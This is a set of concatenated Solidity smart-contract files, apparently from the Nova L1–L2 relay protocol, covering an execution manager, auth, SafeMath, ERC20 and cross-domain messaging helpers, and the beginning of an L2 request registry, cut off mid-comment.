string public constant HARD_REVERT_TEXT = "__NOVA__HARD__REVERT__";
/// @notice The keccak256 hash of the hard revert text.
/// @dev The exec function uses this hash the compare the revert reason of an execution with the hard revert text.
bytes32 public constant HARD_REVERT_HASH = keccak256(abi.encodeWithSignature("Error(string)", HARD_REVERT_TEXT));
/// @notice The 'default' value for currentExecHash.
/// @dev Outside of an active exec call currentExecHash will always equal DEFAULT_EXECHASH.
bytes32 public constant DEFAULT_EXECHASH = 0xFEEDFACECAFEBEEFFEEDFACECAFEBEEFFEEDFACECAFEBEEFFEEDFACECAFEBEEF;
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
/// @notice The address of the L2_NovaRegistry to send cross domain messages to.
/// @dev This address will not have contract code on L1, it is the address of a contract
/// deployed on L2. We can only communicate with this address using cross domain messages.
address public immutable L2_NOVA_REGISTRY_ADDRESS;
/// @notice The address of the L1_NovaApprovalEscrow to access tokens from.
/// @dev The transferFromRelayer function uses the escrow as a proxy identity for relayers to approve their tokens to, where
/// only the execution manager can transfer them. If relayers approved tokens directly to the execution manager, another relayer
/// could steal them by calling exec with the token set as the strategy and transferFrom or pull (used by DAI/MKR) used as calldata.
L1_NovaApprovalEscrow public immutable L1_NOVA_APPROVAL_ESCROW;
/// @param _L2_NOVA_REGISTRY_ADDRESS The address of the L2_NovaRegistry on L2 to send cross domain messages to.
/// @param _CROSS_DOMAIN_MESSENGER The L1 cross domain messenger contract to use for sending cross domain messages.
constructor(address _L2_NOVA_REGISTRY_ADDRESS, iOVM_CrossDomainMessenger _CROSS_DOMAIN_MESSENGER)
CrossDomainEnabled(_CROSS_DOMAIN_MESSENGER)
{
L2_NOVA_REGISTRY_ADDRESS = _L2_NOVA_REGISTRY_ADDRESS;
// Create an approval escrow which implicitly becomes
// owned by the execution manager in its constructor.
L1_NOVA_APPROVAL_ESCROW = new L1_NovaApprovalEscrow();
}
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when `updateGasConfig` is called.
/// @param newGasConfig The updated gasConfig.
event GasConfigUpdated(GasConfig newGasConfig);
/// @notice Emitted when `registerSelfAsStrategy` is called.
/// @param strategyRiskLevel The risk level the strategy registered itself as.
event StrategyRegistered(StrategyRiskLevel strategyRiskLevel);
/// @notice Emitted when `exec` is called.
/// @param execHash The execHash computed from arguments and transaction context.
/// @param reverted Will be true if the strategy call reverted, will be false if not.
/// @param gasUsed The gas estimate computed during the call.
event Exec(bytes32 indexed execHash, address relayer, bool reverted, uint256 gasUsed);
/*///////////////////////////////////////////////////////////////
GAS LIMIT/ESTIMATION CONFIGURATION
//////////////////////////////////////////////////////////////*/
/// @dev Packed struct of gas limit/estimation configuration values used in exec.
/// @param calldataByteGasEstimate The amount of gas to assume each byte of calldata consumes.
/// @param missingGasEstimate The extra amount of gas the system consumes but cannot measure on the fly.
/// @param strategyCallGasBuffer The extra amount of gas to keep as a buffer when calling a strategy.
/// @param execCompletedMessageGasLimit The L2 gas limit to use for the cross domain call to execCompleted.
struct GasConfig {
// This needs to factor in raw calldata costs, along with the hidden
// cost of abi decoding and copying the calldata into an Solidity function.
uint32 calldataByteGasEstimate;
// This needs to factor in the base transaction gas (currently 21000), along
// with the gas cost of sending the cross domain message and emitting the Exec event.
uint96 missingGasEstimate;
// This needs to factor in the max amount of gas consumed after the strategy call, up
// until the cross domain message is sent (as this is not accounted for in missingGasEstimate).
uint96 strategyCallGasBuffer;
// This needs to factor in the overhead of relaying the message on L2 (currently ~800k),
// along with the actual L2 gas cost of calling the L2_NovaRegistry's execCompleted function.
uint32 execCompletedMessageGasLimit;
}
/// @notice Gas limit/estimation configuration values used in exec.
GasConfig public gasConfig =
GasConfig({
calldataByteGasEstimate: 13, // OpenGSN uses 13 to estimate gas per calldata byte too.
missingGasEstimate: 200000, // Rough estimate for missing gas. Tune this in production.
strategyCallGasBuffer: 5000, // Overly cautious gas buffer. Can likely be safely reduced.
execCompletedMessageGasLimit: 1500000 // If the limit is too low, relayers won't get paid.
});
/// @notice Updates the gasConfig.
/// @param newGasConfig The updated value to use for gasConfig.
function updateGasConfig(GasConfig calldata newGasConfig) external requiresAuth {
gasConfig = newGasConfig;
emit GasConfigUpdated(newGasConfig);
}
/*///////////////////////////////////////////////////////////////
STRATEGY RISK LEVEL STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice Risk classifications for strategies.
enum StrategyRiskLevel {
// The strategy has not been assigned a risk level.
// It has the equivalent abilities of a SAFE strategy,
// but could upgrade itself to an UNSAFE strategy at any time.
UNKNOWN,
// The strategy has registered itself as a safe strategy,
// meaning it cannot use transferFromRelayer or trigger a hard
// revert. A SAFE strategy cannot upgrade itself to become UNSAFE.
SAFE,
// The strategy has registered itself as an unsafe strategy,
// meaning it has access to all the functionality the execution
// manager provides like transferFromRelayer and the ability to hard
// revert. An UNSAFE strategy cannot downgrade itself to become SAFE.
UNSAFE
}
/// @notice Maps strategy addresses to their registered risk level.
/// @dev This mapping is used to determine if strategies can access transferFromRelayer and trigger hard reverts.
mapping(address => StrategyRiskLevel) public getStrategyRiskLevel;
/// @notice Registers the caller as a strategy with the provided risk level.
/// @dev A strategy can only register once, and will have no way to change its risk level after registering.
/// @param strategyRiskLevel The risk level the strategy is registering as. Strategies cannot register as UNKNOWN.
function registerSelfAsStrategy(StrategyRiskLevel strategyRiskLevel) external requiresAuth {
// Ensure the strategy has not already registered itself, as if strategies could change their risk level arbitrarily
// they would be able to trick relayers into executing them believing they were safe, and then use unsafe functionality.
require(getStrategyRiskLevel[msg.sender] == StrategyRiskLevel.UNKNOWN, "ALREADY_REGISTERED");
// Strategies can't register as UNKNOWN because it would emit an unhelpful StrategyRegistered event and confuse relayers.
require(strategyRiskLevel != StrategyRiskLevel.UNKNOWN, "INVALID_RISK_LEVEL");
// Set the strategy's risk level.
getStrategyRiskLevel[msg.sender] = strategyRiskLevel;
emit StrategyRegistered(strategyRiskLevel);
}
/*///////////////////////////////////////////////////////////////
EXECUTION CONTEXT STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The address who called exec.
/// @dev This will not be reset after each execution completes.
address public currentRelayer;
/// @notice The address of the strategy that is currently being called.
/// @dev This will not be reset after each execution completes.
address public currentlyExecutingStrategy;
/// @notice The execHash computed from the currently executing call to exec.
/// @dev This will be reset to DEFAULT_EXECHASH after each execution completes.
bytes32 public currentExecHash = DEFAULT_EXECHASH;
/*///////////////////////////////////////////////////////////////
EXECUTION LOGIC
//////////////////////////////////////////////////////////////*/
/// @notice Executes a request and sends tips/gas/inputs to a specific address on L2.
/// @param nonce The nonce of the request to execute.
/// @param strategy The strategy specified in the request.
/// @param l1Calldata The calldata associated with the request.
/// @param l2Recipient An address who will receive the tips, gas and input tokens attached to the request on L2.
/// @param deadline Timestamp after which the transaction will immediately revert.
function exec(
uint256 nonce,
address strategy,
bytes calldata l1Calldata,
uint256 gasLimit,
address l2Recipient,
uint256 deadline
) external {
// Measure gas left at the start of execution.
uint256 startGas = gasleft();
// Check that the deadline has not already passed.
require(block.timestamp <= deadline, "PAST_DEADLINE");
// Substitute for Auth's requiresAuth modifier.
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
// Prevent the strategy or another contract from trying
// to frontrun a relayer's execution and take their payment.
require(currentExecHash == DEFAULT_EXECHASH, "ALREADY_EXECUTING");
// We cannot allow calling cross domain messenger directly, as a
// malicious relayer could use it to trigger the registry's execCompleted
// function and claim bounties without actually executing the proper request(s).
require(strategy != address(CROSS_DOMAIN_MESSENGER), "UNSAFE_STRATEGY");
// We cannot allow calling the approval escrow directly, as a malicious
// relayer could call its transferTokenToStrategy function and access tokens
// from other relayers outside of a proper call to the transferFromRelayer function.
require(strategy != address(L1_NOVA_APPROVAL_ESCROW), "UNSAFE_STRATEGY");
// We cannot allow calling the execution manager itself, as any malicious
// relayer could exploit Auth inherited functions to change ownership, blacklist
// other relayers, or freeze the contract entirely, without being properly authorized.
require(strategy != address(this), "UNSAFE_STRATEGY");
// Compute the relevant execHash.
bytes32 execHash = NovaExecHashLib.compute({
nonce: nonce,
strategy: strategy,
l1Calldata: l1Calldata,
gasLimit: gasLimit,
gasPrice: tx.gasprice
});
// Initialize execution context.
currentExecHash = execHash;
currentRelayer = msg.sender;
currentlyExecutingStrategy = strategy;
// Call the strategy with a safe gas limit.
(bool success, bytes memory returnData) = strategy.call{
gas: gasLimit
.sub(msg.data.length.mul(gasConfig.calldataByteGasEstimate))
.sub(gasConfig.strategyCallGasBuffer)
.sub(gasConfig.missingGasEstimate)
.sub(startGas - gasleft())
}(l1Calldata);
// Revert if a valid hard revert was triggered. A hard revert is only valid if the strategy had a risk level of UNSAFE.
require(
success || keccak256(returnData) != HARD_REVERT_HASH || getStrategyRiskLevel[strategy] != StrategyRiskLevel.UNSAFE,
"HARD_REVERT"
);
// Reset currentExecHash to default so transferFromRelayer becomes uncallable again.
currentExecHash = DEFAULT_EXECHASH;
// Estimate how much gas this tx will have consumed in total (not accounting for refunds).
uint256 gasUsedEstimate = msg.data.length.mul(gasConfig.calldataByteGasEstimate).add(gasConfig.missingGasEstimate).add(
startGas - gasleft()
);
// Send message to unlock the bounty on L2.
CROSS_DOMAIN_MESSENGER.sendMessage(
L2_NOVA_REGISTRY_ADDRESS,
abi.encodeWithSelector(
L2_NovaRegistry.execCompleted.selector,
// Computed execHash:
execHash,
// The reward recipient on L2:
l2Recipient,
// Did the call revert:
!success,
// Estimated gas used in total:
gasUsedEstimate
),
gasConfig.execCompletedMessageGasLimit
);
emit Exec(execHash, msg.sender, !success, gasUsedEstimate);
}
/*///////////////////////////////////////////////////////////////
STRATEGY UTILITIES
//////////////////////////////////////////////////////////////*/
/// @notice Transfers tokens the relayer (the address that called exec)
/// approved to the L1_NOVA_APPROVAL_ESCROW to currently executing strategy.
/// @notice Can only be called by the currently executing strategy (if there is one at all).
/// @notice The currently execution strategy must be registered as UNSAFE to use this function.
/// @notice Will hard revert if the correct amount of tokens are not approved to the escrow.
/// @param token The ER20 token to transfer to the currently executing strategy.
/// @param amount The amount of the token to transfer to the currently executing strategy.
function transferFromRelayer(address token, uint256 amount) external requiresAuth {
// Only the currently executing strategy is allowed to call this function.
// Since msg.sender is inexpensive, from here on it's used to access the strategy.
require(msg.sender == currentlyExecutingStrategy, "NOT_CURRENT_STRATEGY");
// Ensure currentExecHash is not set to DEFAULT_EXECHASH as otherwise a
// malicious strategy could transfer tokens outside of an active execution.
require(currentExecHash != DEFAULT_EXECHASH, "NO_ACTIVE_EXECUTION");
// Ensure the strategy has registered itself as UNSAFE so relayers can
// avoid strategies that use transferFromRelayer if they want to be cautious.
require(getStrategyRiskLevel[msg.sender] == StrategyRiskLevel.UNSAFE, "UNSUPPORTED_RISK_LEVEL");
// Transfer tokens from the relayer to the strategy.
require(
L1_NOVA_APPROVAL_ESCROW.transferApprovedToken({
token: token,
amount: amount,
sender: currentRelayer,
recipient: msg.sender
}),
HARD_REVERT_TEXT // Hard revert if the transfer fails.
);
}
/// @notice Convenience function that triggers a hard revert.
/// @notice The execution manager will ignore hard reverts if
/// they are triggered by a strategy not registered as UNSAFE.
function hardRevert() external pure {
// Call revert with the hard revert text.
revert(HARD_REVERT_TEXT);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.7.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event AuthorityUpdated(Authority indexed authority);
event OwnerUpdated(address indexed owner);
/*///////////////////////////////////////////////////////////////
OWNER AND AUTHORITY STORAGE
//////////////////////////////////////////////////////////////*/
Authority public authority;
address public owner;
constructor() {
owner = msg.sender;
emit OwnerUpdated(msg.sender);
}
/*///////////////////////////////////////////////////////////////
OWNER AND AUTHORITY SETTER FUNCTIONS
//////////////////////////////////////////////////////////////*/
function setOwner(address newOwner) external requiresAuth {
owner = newOwner;
emit OwnerUpdated(owner);
}
function setAuthority(Authority newAuthority) external requiresAuth {
authority = newAuthority;
emit AuthorityUpdated(authority);
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
}
if (src == owner) {
return true;
}
Authority _authority = authority;
if (_authority == Authority(address(0))) {
return false;
}
return _authority.canCall(src, address(this), sig);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
interface Authority {
function canCall(
address src,
address dst,
bytes4 sig
) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
/// @notice Library for computing a Nova execHash.
/// @dev Just because an execHash can be properly computed, doesn't mean it's a valid request in the registry.
library NovaExecHashLib {
/// @dev Computes a Nova execHash from a nonce, strategy address, calldata and gas price.
/// @return A Nova execHash: keccak256(abi.encodePacked(nonce, strategy, l1Calldata, gasPrice, gasLimit))
/// @dev Use of abi.encodePacked() here is safe because we only have one dynamic type (l1Calldata).
function compute(
uint256 nonce,
address strategy,
bytes memory l1Calldata,
uint256 gasPrice,
uint256 gasLimit
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(nonce, strategy, l1Calldata, gasPrice, gasLimit));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
import {iOVM_CrossDomainMessenger} from "@eth-optimism/contracts/iOVM/bridge/messaging/iOVM_CrossDomainMessenger.sol";
/// @notice Mixin for contracts performing cross-domain communication.
/// @author Modified from OptimismPBC (https://github.com/ethereum-optimism/optimism)
abstract contract CrossDomainEnabled {
/// @notice Messenger contract used to send and receive messages from the other domain.
iOVM_CrossDomainMessenger public immutable CROSS_DOMAIN_MESSENGER;
/// @param _CROSS_DOMAIN_MESSENGER Address of the iOVM_CrossDomainMessenger on the current layer.
constructor(iOVM_CrossDomainMessenger _CROSS_DOMAIN_MESSENGER) {
CROSS_DOMAIN_MESSENGER = _CROSS_DOMAIN_MESSENGER;
}
/// @dev Enforces that the modified function is only callable by a specific cross-domain account.
/// @param sourceDomainAccount The only account on the originating domain which is authenticated to call this function.
modifier onlyFromCrossDomainAccount(address sourceDomainAccount) {
require(msg.sender == address(CROSS_DOMAIN_MESSENGER), "NOT_CROSS_DOMAIN_MESSENGER");
require(CROSS_DOMAIN_MESSENGER.xDomainMessageSender() == sourceDomainAccount, "WRONG_CROSS_DOMAIN_SENDER");
_;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import {Auth} from "@rari-capital/solmate/src/auth/Auth.sol";
import {NovaExecHashLib} from "./libraries/NovaExecHashLib.sol";
import {SafeTransferLib} from "./libraries/SafeTransferLib.sol";
import {CrossDomainEnabled, iOVM_CrossDomainMessenger} from "./external/CrossDomainEnabled.sol";
/// @notice Hub for contracts/users on L2 to create and manage requests.
/// @dev Receives messages from the L1_NovaExecutionManager via a cross domain messenger.
contract L2_NovaRegistry is Auth, CrossDomainEnabled {
using SafeTransferLib for address;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/*///////////////////////////////////////////////////////////////
CONSTANTS
//////////////////////////////////////////////////////////////*/
/// @notice The maximum amount of input tokens that may be added to a request.
uint256 public constant MAX_INPUT_TOKENS = 5;
/// @notice The minimum delay between when unlockTokens and withdrawTokens can be called.
uint256 public constant MIN_UNLOCK_DELAY_SECONDS = 300;
/// @param _CROSS_DOMAIN_MESSENGER The L2 cross domain messenger to trust for receiving messages.
constructor(iOVM_CrossDomainMessenger _CROSS_DOMAIN_MESSENGER) CrossDomainEnabled(_CROSS_DOMAIN_MESSENGER) {}
/*///////////////////////////////////////////////////////////////
EXECUTION MANAGER ADDRESS STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The address of the only contract authorized to make cross domain calls to execCompleted.
address public L1_NovaExecutionManagerAddress;
/// @notice Authorizes newExecutionManagerAddress to make cross domain calls to execCompleted.
/// @param newExecutionManagerAddress The address to authorized to make cross domain calls to execCompleted.
function connectExecutionManager(address newExecutionManagerAddress) external requiresAuth {
L1_NovaExecutionManagerAddress = newExecutionManagerAddress;
emit ExecutionManagerConnected(newExecutionManagerAddress);
}
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
/// @notice Emitted when `connectExecutionManager` is called.
/// @param newExecutionManagerAddress The new value for L1_NovaExecutionManagerAddress.
event ExecutionManagerConnected(address newExecutionManagerAddress);
/// @notice Emitted when `requestExec` is called.
/// @param execHash The unique identifier generated for this request.
/// @param strategy The strategy associated with the request.
event RequestExec(bytes32 indexed execHash, address indexed strategy);
/// @notice Emitted when `execCompleted` is called.
/// @param execHash The unique identifier associated with the request executed.
/// @param rewardRecipient The address the relayer specified to be the recipient of the tokens on L2.
/// @param reverted If the strategy reverted on L1 during execution.
/// @param gasUsed The amount of gas used by the execution tx on L1.
event ExecCompleted(bytes32 indexed execHash, address indexed rewardRecipient, bool reverted, uint256 gasUsed);
/// @notice Emitted when `claimInputTokens` is called.
/// @param execHash The unique identifier associated with the request that had its input tokens claimed.
event ClaimInputTokens(bytes32 indexed execHash);
/// @notice Emitted when `withdrawTokens` is called.
/// @param execHash The unique identifier associated with the request that had its tokens withdrawn.
event WithdrawTokens(bytes32 indexed execHash);
/// @notice Emitted when `unlockTokens` is called.
/// @param execHash The unique identifier associated with the request that had a token unlock scheduled.
/// @param unlockTimestamp When the unlock will set into effect and the creator will be able to call withdrawTokens.
event UnlockTokens(bytes32 indexed execHash, uint256 unlockTimestamp);
/// @notice Emitted when `relockTokens` is called.
/// @param execHash The unique identifier associated with the request that had its tokens relocked.
event RelockTokens(bytes32 indexed execHash);
/// @notice Emitted when `speedUpRequest` is called.
/// @param execHash The unique identifier associated with the request that was uncled and replaced by the newExecHash.
/// @param newExecHash The execHash of the resubmitted request (copy of its uncle with an updated gasPrice).
/// @param newNonce The nonce of the resubmitted request.
/// @param switchTimestamp When the uncled request (execHash) will have its tokens transferred to the resubmitted request (newExecHash).
event SpeedUpRequest(bytes32 indexed execHash, bytes32 indexed newExecHash, uint256 newNonce, uint256 switchTimestamp);
/*///////////////////////////////////////////////////////////////
GLOBAL NONCE COUNTER STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice The most recent nonce assigned to a request.
uint256 public systemNonce;
/*///////////////////////////////////////////////////////////////
PER REQUEST STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice Maps execHashes to the creator of the request.
mapping(bytes32 => address) public getRequestCreator;
/// @notice Maps execHashes to the address of the strategy associated with the request.
mapping(bytes32 => address) public getRequestStrategy;
/// @notice Maps execHashes to the calldata associated with the request.
mapping(bytes32 => bytes) public getRequestCalldata;
/// @notice Maps execHashes to the gas limit that will be used when calling the request's strategy.
mapping(bytes32 => uint256) public getRequestGasLimit;
/// @notice Maps execHashes to the gas price (in wei) a relayer must use to execute the request.
mapping(bytes32 => uint256) public getRequestGasPrice;
/// @notice Maps execHashes to the additional tip (in wei) relayers will receive for successfully executing the request.
mapping(bytes32 => uint256) public getRequestTip;
/// @notice Maps execHashes to the nonce assigned to the request.
mapping(bytes32 => uint256) public getRequestNonce;
/// @notice A token/amount pair that a relayer will need on L1 to execute the request (and will be returned to them on L2).
/// @param l2Token The token on L2 to transfer to the relayer upon a successful execution.
/// @param amount The amount of l2Token to refund the relayer upon a successful execution.
/// @dev Relayers must reference a list of L2-L1 token mappings to determine the L1 equivalent for an l2Token.
/// @dev The decimal scheme may not align between the L1 and L2 tokens, relayers should check via off-chain logic.
struct InputToken {
IERC20 l2Token;
uint256 amount;
}
/// @dev Maps execHashes to the input tokens a relayer must have to execute the request.
mapping(bytes32 => InputToken[]) internal requestInputTokens;
/// @notice Fetches the input tokens a relayer must have to execute a request.
/// @return The input tokens required to execute the request.
function getRequestInputTokens(bytes32 execHash) external view returns (InputToken[] memory) {
return requestInputTokens[execHash];
}
/*///////////////////////////////////////////////////////////////
INPUT TOKEN RECIPIENT STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice Struct containing data about the status of the request's input tokens.
/// @param recipient The user who is entitled to take the request's input tokens.
/// If recipient is not address(0), this means the request is no longer executable.
/// @param isClaimed Will be true if the input tokens have been removed, false if not.
struct InputTokenRecipientData {
address recipient;
bool isClaimed;
}
/// @notice Maps execHashes to a struct which contains data about the status of the request's input tokens.
mapping(bytes32 => InputTokenRecipientData) public getRequestInputTokenRecipientData;
/*///////////////////////////////////////////////////////////////
UNLOCK STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice Maps execHashes to a timestamp representing when the request will have
/// its tokens unlocked, meaning the creator can withdraw tokens from the request.
/// @notice Will be 0 if no unlock has been scheduled.
mapping(bytes32 => uint256) public getRequestUnlockTimestamp;
/*///////////////////////////////////////////////////////////////
UNCLE STORAGE
//////////////////////////////////////////////////////////////*/
/// @notice Maps execHashes which represent resubmitted requests created
/// via speedUpRequest to their corresponding "uncled" request's execHash.
/// @notice An uncled request is a request that has had its tokens removed via
/// speedUpRequest in favor of a resubmitted request generated in the transaction.
/// @notice Will be bytes32(0) the request is not a resubmitted copy of an uncle.
mapping(bytes32 => bytes32) public getRequestUncle;
/// @notice Maps execHashes which represent requests uncled via
/// speedUpRequest to their corresponding "resubmitted" request's execHash.
/// @notice A resubmitted request is a request that is scheduled to replace its
/// uncle after MIN_UNLOCK_DELAY_SECONDS from the time speedUpRequest was called.
/// @notice Will be bytes32(0) if the request is not an uncle.
mapping(bytes32 => bytes32) public getResubmittedRequest;
/// @notice Maps execHashes to a timestamp representing when the request will be disabled
/// and replaced by a re-submitted request with a higher gas price (via speedUpRequest).
/// @notice Will be 0 if speedUpRequest has not been called with the execHash.
mapping(bytes32 => uint256) public getRequestDeathTimestamp;
/*///////////////////////////////////////////////////////////////
STATEFUL FUNCTIONS
//////////////////////////////////////////////////////////////*/
/// @notice Request a strategy to be executed with specific calldata and (optionally) input tokens.
/// @notice The caller must attach (gasPrice * gasLimit) + tip of ETH when calling.
/// @param strategy The address of the "strategy" contract that should be called on L1.
/// @param l1Calldata The abi encoded calldata the strategy should be called with.
/// @param gasLimit The gas limit that will be used when calling the strategy.
/// @param gasPrice The gas price (in wei) a relayer must use to execute the request.
/// @param tip The additional wei to pay as a tip for any relayer that successfully executes the request.
/// If the relayer executes the request and the strategy reverts, the creator will be refunded the tip.
